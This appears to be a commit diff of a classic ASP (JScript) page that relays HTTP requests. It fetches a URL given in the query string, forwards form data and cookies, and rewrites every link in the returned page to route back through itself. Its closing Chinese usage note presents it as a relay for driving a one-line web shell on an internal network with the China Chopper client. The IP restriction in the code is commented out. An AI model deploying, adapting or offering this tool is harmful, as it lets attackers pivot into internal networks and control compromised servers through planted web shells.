1
+ <% @LANGUAGE= " JAVASCRIPT" CODEPAGE = " 65001" %>
2
+ <% Response .Charset = " utf-8" %>
3
+ <% Server .ScriptTimeout = 5000 %>
4
+ <%
5
+ Server .ScriptTimeout = 10 ;
6
+ //var ip= String (Request .ServerVariables (" REMOTE_ADDR" ));
7
+ //if (ip.substr(0 ,6 )!= " 10.153" ){ Response .Write (" <title>Error!</title>Your ip [" + ip+ " ] is not allowed!!" );Response .End ();}
8
+ var Surl = String (Request .QueryString (" url" ));
9
+ var Stxt = String (Request .QueryString (" txt" ));
10
+ var Stype = String (Request .QueryString (" type" ));
11
+ var Scst = String (Request .QueryString (" cst" ));
12
+ var Scm = String (Request .QueryString (" cm" ));
13
+ var Scf = String (Request .QueryString (" cf" ));
14
+ var enableCookie = (Scf.charAt(0 ) == " 2" );
15
+ var enableForm = (Scf.charAt(1 ) == " 2" );
16
+ if (Stxt != " 1" && Stxt != " 2" ) Stxt = " 0" ;
17
+ if (Stype != " 0" && Stype != " 2" && Stype != " 3" && Stype != " 4" ) Stype = " 1" ;
18
+ if (Scst == " undefined" ) Scst = " gb2312" ;
19
+ if (Scm != " 1" && Scm != " 2" ) Scm = " 0" ;
20
+ if (Scf != " 11" && Scf != " 22" && Scf != " 21" ) Scf = " 12" ;
21
+ if (Surl == " undefined" || Surl == " " ){
22
+ Response .AddHeader (" Cookie" ," " );
23
+ %>
24
+ <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
25
+ "http://www.w3.org/TR/html4/loose.dtd" >
26
+ <html ><head >
27
+ <meta http-equiv =" Content-Type" content =" text/html; charset=utf-8" >
28
+ <title >xynu-Normal University</title >
29
+ <script type =" text/javascript" >
30
+ function radiovalue (name ){
31
+ var obj = document .getElementsByName (name);
32
+ for (var k= 0 ;k< obj .length ;k++ ) if (obj[k].checked ) return obj[k].value ;}
33
+ function checkmode (x ){
34
+ var objx = document .getElementsByName (" folder" );
35
+ for (var i= 0 ;i< objx .length ;i++ ) if (objx[i].value == x) return objx[i].checked = true ;}
36
+ function shell (){
37
+ var url = document .getElementById (" keyword" ).value ;
38
+ var flag = " ?txt=" + (document .getElementById (" dl" ).checked ? " 2" : " 1" + " &type=" + radiovalue (" up" ) + " &cm=" + radiovalue (" folder" ));
39
+ flag += " &cf=" + (document .getElementById (" cookies" ).checked ? " 2" : " 1" ) + (document .getElementById (" forms" ).checked ? " 2" : " 1" );
40
+ switch (radiovalue (" go" )){
41
+ case " www" : url = flag + " &url=" + url; break ;
42
+ case " google" :url = flag + " &url=http://www.google.com.hk/search?q=" + encodeURI (url); break ;
43
+ case " baidu" :url = flag + " &url=http://www.baidu.com/baidu?word=" + encodeURI (url) + " &ie=utf-8" ;
44
+ }
45
+ window .location .href = url;}
46
+ </script ></head >
47
+ <body >
48
+ <form action =" " onSubmit =" shell();return false" >
49
+ <div align =" center" style =" font-size :12px " >
50
+ <input name =" go" type =" radio" value =" www" onClick =" checkmode('0')" >Normal   ;  ;  ;  ;
51
+ <input type =" radio" name =" go" value =" baidu" checked onClick =" checkmode('2')" >Baidu   ;  ;  ;  ;
52
+ <input type =" radio" name =" go" value =" google" onClick =" checkmode('2')" >Google <br >
53
+ <input name =" keyword" type =" text" id =" keyword" size =" 60" ><br >
54
+ <input name =" dl" type =" checkbox" id =" dl" >Download  ;  ;  ;  ;  ;  ;
55
+ <input type =" submit" value =" GO " >  ;  ; <input type =" reset" value =" Reset " > <br > <br >
56
+ <span style =" font-size :14px ; font-weight :bolder ; cursor :pointer " onClick =" document.getElementById('opt').style.display=''" >Options</span >
57
+ <div id =" opt" style =" display :none " > <strong >Forms And Cookie:</strong >
58
+ <input type =" checkbox" name =" forms" id =" forms" checked >Allow Submitting Forms
59
+ <input type =" checkbox" name =" cookies" id =" cookies" disabled >Enabled Cookies <br > <strong >Update url:</strong >
60
+ <input type =" radio" name =" up" value =" 0" >Thoroughly
61
+ <input type =" radio" name =" up" value =" 1" checked >All
62
+ <input type =" radio" name =" up" value =" 2" >Except Links
63
+ <input type =" radio" name =" up" value =" 3" >Only Scripts And Styles
64
+ <input type =" radio" name =" up" value =" 4" >Never <br > <strong >url Fuzzy Judgment:</strong >
65
+ <input name =" folder" type =" radio" value =" 0" checked >Auto
66
+ <input type =" radio" name =" folder" value =" 1" >Always
67
+ <input type =" radio" name =" folder" value =" 2" >Never</div >
68
+ </div ></form >
69
+ <CENTER >By Me 2012-4-8.</CENTER >
70
+
71
+ </body ></html >
72
+ <%
73
+ }
74
+ else {
75
+ Surl = String (Request .QueryString ).match(/url= (.* )$/)[1 ];
76
+ if (Surl.indexOf(" ?" )==- 1 && Surl.indexOf(" &" )!=- 1 ){
77
+ Surl= Surl.substr(Surl.indexOf(" &" )+ 1 );
78
+ if (Scst.match(/^ gb/i)!= null ){
79
+ Response .CodePage = 936 ;
80
+ var Surl = Surl.replace (/%E\w%\w\w%\w\w/ig,ConvChinese);
81
+ Response .CodePage = 65001 ;
82
+ }
83
+ Surl = String (Request .QueryString (" url" )) + " ?" + Surl;
84
+ }
85
+ Surl = (Surl.substr(0 ,7 ) != " http://" ) ? " http://" + Surl : Surl;
86
+ if (Stxt == " 0" ){
87
+ var preurl = Surl.replace (/[?#].* /," " );
88
+ var t = preurl.lastIndexOf(" /" );
89
+ preurl = preurl.substr(t+ 1 );
90
+ if (t > 6 && preurl.indexOf(" ." ) > - 1 && preurl.match(/\.(\S?htm|asp|php|jsp|cgi|wml)/i)== null ) Stxt = " 2" ;
91
+ }
92
+ if (Stxt == " 2" ) getRemoteFile()
93
+ else Response .Write (send_request());
94
+ }
95
+ function ConvChinese (x ){
96
+ var A= x.split (" %" );
97
+ var i,j,DigS,Conv= " " ;
98
+ for (i= 1 ;i<= 3 ;i++ )
99
+ A= parseInt(A,16 ).toString(2 );
100
+ for (i= 1 ;i<= 3 ;i++ ){
101
+ DigS= A.indexOf(" 0" )+ 1 ;
102
+ var Unicode= " " ;
103
+ for (j= 1 ;j< DigS;j++ ){
104
+ if (j== 1 ){
105
+ A= A.substr(DigS);
106
+ Unicode+= A;
107
+ } else {
108
+ i++ ;
109
+ A= A.substr(2 );
110
+ Unicode+= A;
111
+ }
112
+ }
113
+ Conv+= String .fromCharCode(parseInt(Unicode,2 ));
114
+ }
115
+ return Server .URLEncode (Conv);
116
+ }
117
+ function Formmethodget (x ){
118
+ var url= x.match(/& url= ([^ \s" '>]+)/)[1];
119
+ var init=x+'\n<input name=" cst" type=" hidden" value=" ' +Scst+'">\n';
120
+ init += ' <input name="type" type="hidden" value="'+Stype+'">\n<input name="cm" type="hidden" value="'+Scm+'">\n';
121
+ init += ' <input name="cf" type="hidden" value="'+Scf+'">\n<input name="url" type="hidden" value="'+url+'">\n';
122
+ return init;
123
+ }
124
+ function send_request () {
125
+ var codedtext,http_request;
126
+ var Cookie = String (" " + Response .Cookies );
127
+ try{
128
+ if (enableForm && (String (Request .Form )!= " undefined" )){
129
+ if (Scst.match(/^ gb/i)!= null ){
130
+ Response .CodePage = 936 ;
131
+ var Formdata = String (Request .Form ).replace (/%E\w%\w\w%\w\w/ig,ConvChinese);
132
+ Response .CodePage = 65001 ;
133
+ } else {
134
+ var Formdata = String (Request .Form );
135
+ }
136
+ http_request = Server .CreateObject (" MSXML2.XMLHTTP" );
137
+ http_request.Open(" POST" ,Surl,false );
138
+ if (enableCookie && (Cookie != " " )){
139
+ http_request.setRequestHeader(" Referer" ,String (Request .QueryString (" parent" )));
140
+ http_request.setRequestHeader(" Cookie" ,Cookie);
141
+ }
142
+ http_request.setRequestHeader(" CONTENT-TYPE" ," application/x-www-form-urlencoded" );
143
+ http_request.Send(Formdata);
144
+ } else {
145
+ http_request = Server .CreateObject (" Microsoft.XMLHTTP" );
146
+ http_request.Open(" GET" ,Surl,false );
147
+ if (enableCookie && (Cookie != " " )){
148
+ http_request.setRequestHeader(" Referer" ,String (Request .QueryString (" parent" )));
149
+ http_request.setRequestHeader(" Cookie" ,Cookie);
150
+ }
151
+ http_request.Send(null );
152
+ }
153
+ }
154
+ catch(e)
155
+ {
156
+ Response .Write (" <title>Error!</title>" + e.description);
157
+ Response .Write (" <br><a href='?url='>重新输入</a> <a href='javascript:history.go(-1)'>后退</a> " );
158
+ Response .Write (" <a href='javascript:window.location.reload()'>刷新</a> <a href='javascript:window.close()'>关闭窗口</a>" );
159
+ Response .End ();
160
+ }
161
+ if (http_request.ReadyState == 4 ){
162
+
163
+ //自动判断编码开始
164
+ var charresult = http_request.ResponseText.match(/[" ';\s]CharSet\s*=\s*(\S+?)[" ' ;>\s]/i);
165
+ if (charresult != null ){
166
+ var Cset = charresult[1 ];
167
+ Scst = Cset;
168
+ }else {Cset = Scst}
169
+ //自动判断编码结束
170
+ codedtext = bytesToBSTR(http_request.Responsebody,Cset);
171
+ Response .AddHeader (" Cookie" ,http_request.getResponseHeader( " Set-Cookie" ));
172
+ if (Stype < 4 ){
173
+ var baseurl = codedtext.match(/< base[^> ]+ href\s*= \s* ([" ']?)(http:\/\/[^" ' \s]+?)\1[^>]*>/i);
174
+ if (baseurl != null ) Surl = baseurl[2 ];
175
+ codedtext = codedtext.replace (/< base[^> ]*> /i," " );
176
+ var preurl = String (Request .QueryString (" parent" ));
177
+ var preurl_1 = preurl_2 = (preurl == " undefined" || preurl == " " ) ? Surl.replace (/[?#].* /," " ) : preurl;
178
+ var t = preurl_2.lastIndexOf(" /" );
179
+ if (Scm != " 1" && t != 6 ){
180
+ if (Scm == " 2" || preurl_2.substr(t).indexOf(" ." ) != - 1 ){
181
+ preurl_2 = preurl_2.substr(0 ,preurl_2.lastIndexOf(" /" ));
182
+ }
183
+ if (preurl_2.charAt(preurl_2.length- 1 ) == " /" ){
184
+ preurl_2 = preurl_2.substr(0 ,preurl_2.length- 1 );
185
+ }
186
+ }
187
+
188
+ // codedtext = codedtext.replace (/%(\w\w)%/ig," %25$1%25" );
189
+ // codedtext = codedtext.replace (/([^& ])& (?= [a- z])/ig," $1%26" );
190
+ // codedtext = codedtext.replace (/%26 (copy|quot|amp|lt|gt|nbsp|raquo|laquo)/ig," &$1" );
191
+
192
+ if (Stype == 3 ){
193
+ codedtext = codedtext.replace (/(< (?:link|script)\s[^> ]* (?:href|src))\s*= \s* (?= [^ ' "\s])/ig,"$1=@");
194
+ //codedtext = codedtext.replace (/(< (?:link|script)\s+ [^> ]* (?:href|src)\s*= \s* [' "@])\?/ig,"$1"+preurl_1+"?");
195
+ codedtext = codedtext.replace (/(< (?:link|script)\s[^> ]* (?:href|src)\s*= \s* [' "@])\/?(?!http:\/{2})/ig,"$1"+preurl_2+"/");
196
+ codedtext = codedtext.replace (/(< (?:link|script)\s[^> ]* (?:href|src)\s*= \s* [' "@])/ig,"$1?cst="+Scst+"&type=4&txt=1&url=");
197
+ codedtext = codedtext.replace (/(href|src)\s*= \s* @/ig," $1=" );
198
+ } else {
199
+ codedtext = codedtext.replace (/(< (?!a\s)[^> ]* [\s" ';](?:href|src|location|url|background))\s*=\s*(?=[^'" \s])/ig," $1=@" );
200
+ codedtext = codedtext.replace (/(< (?!a\s)[^> ]* [\s" ';](?:href|src|location|url|background)\s*=\s*['" @])\?/ig," $1" + preurl_1+ " ?" );
201
+ codedtext = codedtext.replace (/(< (?!a\s)[^> ]* [\s" ';](?:href|src|location|url|background)\s*=\s*['" @])\/?(?!#|mailto:|javascript:|http:\/{2 })/ig," $1" + preurl_2+ " /" );
202
+
203
+ codedtext = codedtext.replace (/(< link\s[^> ]* href\s*= \s* [' "@])(?=http:\/{2})/ig,"$1?cst="+Scst+"&type=4&txt=1&url=");
204
+ codedtext = codedtext.replace (/(< script\s[^> ]* src\s*= \s* [' "@])(?=http:\/{2})/ig,"$1?cst="+Scst+"&txt=1&cm="+Scm+"&type="+(Stype==0?"0&parent="+preurl_1:"4")+"&url=");
205
+ codedtext = codedtext.replace (/(< (?:frame|iframe)\s[^> ]* (?:href|src)\s*= \s* [' "@])(?=http:\/{2})/ig,"$1?cst="+Scst+"&type="+Stype+"&txt=1&cm="+Scm+"&cf="+Scf+"&url=");
206
+ codedtext = codedtext.replace (/(< (?!link\s|a\s)[^> ]* [\s" ';](?:href|location|url)\s*=\s*['" @])(?= http:\/{2 })/ig," $1?cst=" + Scst+ " &type=" + Stype+ " &txt=1&cm=" + Scm+ " &cf=" + Scf+ " &url=" );
207
+ codedtext = codedtext.replace (/(< (?:img|input|embed)\s[^> ]* src\s*= \s* [' "@])(?=http:\/{2})/ig,"$1?txt=2&url=");
208
+ codedtext = codedtext.replace (/(< (?!a\s)[^> ]* [\s" ';]background\s*=\s*['" @])(?= http:\/{2 })/ig," $1?txt=2&url=" );
209
+ codedtext = codedtext.replace (/(< (?!script\s|frame\s|iframe\s|img\s|input\s|embed\s)[^> ]* [\s" ';]src\s*=\s*['" @])(?= http:\/{2 })/ig," $1?cst=" + Scst+ " &type=" + Stype+ " &cm=" + Scm+ " &url=" );
210
+
211
+ //img inner CSS
212
+ codedtext = codedtext.replace (/(background\s* :\s* url\()\/?(?!http:\/\/)/ig," $1" + preurl_2+ " /" );
213
+ codedtext = codedtext.replace (/(background\s* :\s* url\()/ig," $1?txt=2&url=" );
214
+ //the [端口,被屏蔽] flash
215
+ codedtext = codedtext.replace (/(< param\s+ name.* (?:filename|movie).* value)\s*= \s* (?= [^ ' "\s])/ig,"$1=@");
216
+ codedtext = codedtext.replace (/(< param\s+ name.* (?:filename|movie).* value\s*= \s* [' "@])\/?(?!http:\/{2})/ig,"$1"+preurl_2+"/");
217
+ codedtext = codedtext.replace (/(< param\s+ name.* (?:filename|movie).* value\s*= \s* [' "@])(?=http:\/{2})/ig,"$1?txt=2&url=");
218
+
219
+ if (Stype < 2 ){
220
+ codedtext = codedtext.replace (/(< a\s[^> ]* href)\s*= \s* (?= [^ ' "\s])/ig,"$1=@");
221
+ codedtext = codedtext.replace (/(< a\s[^> ]* href\s*= \s* [' "@])\?/ig,"$1"+preurl_1+"?");
222
+ codedtext = codedtext.replace (/(< a\s[^> ]* href\s*= \s* [' "@])\/?(?!#|mailto:|javascript:|http:\/{2})/ig,"$1"+preurl_2+"/");
223
+ codedtext = codedtext.replace (/(< a\s[^> ]* href\s*= \s* [' "@])(?=http:\/{2})/ig,"$1?cst="+Scst+"&type="+Stype+"&cm="+Scm+"&cf="+Scf+"&url=");
224
+
225
+ if (enableForm){
226
+ codedtext = codedtext.replace (/(< form \s[^> ]* ?action)\s*= \s* (?= [^ ' "\s])/ig,"$1=@");
227
+ codedtext = codedtext.replace (/(< form \s[^> ]* ?action\s*= \s* [' "@])\?/ig,"$1"+preurl_1+"?");
228
+ codedtext = codedtext.replace (/(< form \s[^> ]* ?action\s*= \s* [' "@])\/?(?!#|mailto:|javascript:|http:\/{2})/ig,"$1"+preurl_2+"/");
229
+ codedtext = codedtext.replace (/(< form \s[^> ]* ?action\s*= \s* [' "@])(?=http:\/{2})/ig,"$1?cst="+Scst+"&type="+Stype+"&cm="+Scm+"&cf="+Scf+"&parent="+preurl_1+"&url=");
230
+ codedtext = codedtext.replace (/< form [^> ]+ method\s*= \s* ([" ']?)get\1[^>]*>/ig,Formmethodget);
231
+ }
232
+ }
233
+ codedtext = codedtext.replace(/(href|action|src|value|location|url|background)\s*=\s*@/ig," $1 = " );
234
+ while(codedtext.match(/\/[^\/\.]+\/\.\.\//)!=null) codedtext = codedtext.replace(/\/[^\/\.]+\/\.\.\//, " /" );
235
+ }
236
+ }
237
+ }else{
238
+ codedtext = " < title> Error!< /title> " ;
239
+ codedtext += " < a href= ' ?url='>重新输入</a> <a href='javascript:history.go(-1)'>后退</a> ";
240
+ codedtext += " <a href='javascript:window.location.reload()'>刷新</a> <a href='javascript:window.close()'>关闭窗口</a>"
241
+ }
242
+
243
+ return (codedtext);
244
+ }
245
+ function bytesToBSTR (body,Cset ){
246
+ var objstream;
247
+ objstream = Server .CreateObject (" Adodb.Stream" );
248
+ objstream.Type = 1 ;
249
+ objstream.Mode = 3 ;
250
+ objstream.Open();
251
+ objstream.Write (body);
252
+ objstream.Position = 0 ;
253
+ objstream.Type = 2 ;
254
+ objstream.Charset = Cset;
255
+ bytesToBSTR = objstream.Readtext;
256
+ objstream.Close;
257
+ return (bytesToBSTR);
258
+ }
259
+ function getRemoteFile (){
260
+ var Retrieval;
261
+ Retrieval = Server .CreateObject (" Microsoft.XMLHTTP" );
262
+ try{
263
+ Retrieval.Open(" GET" ,Surl,false );
264
+ Retrieval.Send(null );
265
+ }
266
+ catch(e)
267
+ {
268
+ Response .Write (" <title>Error!</title>" + e.description);
269
+ Response .Write (" <br><a href='?url='>重新输入</a> <a href='javascript:history.go(-1)'>后退</a> " );
270
+ Response .Write (" <a href='javascript:window.location.reload()'>刷新</a> <a href='javascript:window.close()'>关闭窗口</a>" );
271
+ Response .End ();
272
+ }
273
+ if (Retrieval.ReadyState == 4 ){
274
+ var preurl = Surl.replace (/[?#].* /," " );
275
+ var t = preurl.lastIndexOf(" /" );
276
+ preurl = preurl.substr(t+ 1 );
277
+ if (t == 6 || preurl.indexOf(" ." ) == - 1 ) preurl = " default.htm" ;
278
+ Response .AddHeader (" Content-Disposition" ," attachment; filename=" + preurl);
279
+ Response .ContentType = " application/octet-stream" ;
280
+ Response .BinaryWrite (Retrieval.Responsebody);
281
+ Retrieval.Close;
282
+ } else {
283
+ Response .Write (" <title>Error!</title><a href='?url='>重新输入</a> <a href='javascript:history.go(-1)'>后退</a> " );
284
+ Response .Write (" <a href='javascript:window.location.reload()'>刷新</a> <a href='javascript:window.close()'>关闭窗口</a>" );
285
+ }
286
+ }
287
+ %>
288
+ 使用方法:(http://www.bbb.com/shell.asp 为内网中的一句话)
289
+
290
+ http://www.aaa.com/p.asp?txt=1&type=1&cm=0&cf=12&url=http://www.bbb.com/shell.asp
291
+
292
+ http://www.aaa.com/p.asp 为此中转程序。
293
+
294
+ 菜刀的其它配置不需要修改。
0 commit comments